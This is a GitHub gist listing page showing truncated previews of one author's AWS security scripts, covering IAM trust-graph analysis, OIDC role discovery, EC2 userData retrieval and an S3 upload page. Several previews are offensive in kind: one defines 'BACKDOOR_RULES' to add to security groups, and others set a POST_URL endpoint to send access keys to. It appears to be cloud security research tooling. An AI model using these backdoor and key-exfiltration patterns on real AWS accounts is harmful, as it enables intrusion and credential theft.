Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python3
"""
AWS Identity Collector: Extract Trust and Privilege Data Across Accounts
This script collects identity and access metadata from one or more AWS accounts,
including IAM roles, IAM users, SSO (AWS IAM Identity Center) users, and their policies.
Its used as a precursor for analyzing trust relationships and admin-equivalent access
across AWS environments.
#!/usr/bin/env python3
"""
AWS Trust Graph Analyzer
This script analyzes AWS IAM trust relationships across accounts, roles, users, and SSO principals.
It builds a graph of `sts:AssumeRole` relationships, identifies roles with admin-level privileges,
and traces trust chains to help you understand who really has root-equivalent access in your AWS environment.
The tool supports multiple output formats, including:
@dagrz
dagrz / github-aws-oidc-firehose.py
Created August 29, 2023 05:54
Find OIDC roles in github events firehose
#!/usr/bin/env python3
import json, time, requests, re, argparse, os, boto3
def main(args):
print("> Started...")
if args.verbose:
print(f"^ Args: {args}")
s3_bucket = None
if args.s3_bucket:
@dagrz
dagrz / print-aws-docs.py
Created August 29, 2023 05:51
List AWS documentation URLs from sitemaps
#!/usr/bin/env python3
import requests, argparse
import xml.etree.ElementTree as ET
SITEMAP_URI = 'https://docs.aws.amazon.com/sitemap_index.xml'
def main():
get_sitemap_and_parse(SITEMAP_URI)
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
</head>
<body>
<script>
$(document).ready(function(){
$.ajax({
type: 'PUT',
headers: {'x-amz-acl': 'bucket-owner-full-control'},
@dagrz
dagrz / Retrieve all EC2 instance userData
Created October 18, 2016 02:18
Retrieve all EC2 instance userData
#!/usr/bin/env python
from __future__ import print_function
import boto3
import base64
client = boto3.client(service_name='ec2', region_name='us-east-1')
for region in client.describe_regions()['Regions']:
ec2 = boto3.resource(service_name='ec2', region_name=region['RegionName'])
for instance in ec2.instances.all():
response = instance.describe_attribute(Attribute='userData')
#!/usr/bin/env python
from __future__ import print_function
import boto3
from botocore.exceptions import ClientError
import json
import argparse
def main(args):
for line in args.key_file.readlines():
#!/usr/bin/env python
from __future__ import print_function
import json
import boto3
import random
# A list of rules to add at random to security groups.
BACKDOOR_RULES = [
{ 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'}
]
#!/usr/bin/env python
from __future__ import print_function
import json
import boto3
from botocore.exceptions import ClientError
import requests
import random
# An endpoint to send access keys to, e.g. http://requestb.in/
POST_URL = 'https://...'
#!/usr/bin/env python
from __future__ import print_function
import json
import boto3
from botocore.exceptions import ClientError
import requests
# An endpoint to send access keys to, e.g. http://requestb.in/
POST_URL = 'https://...'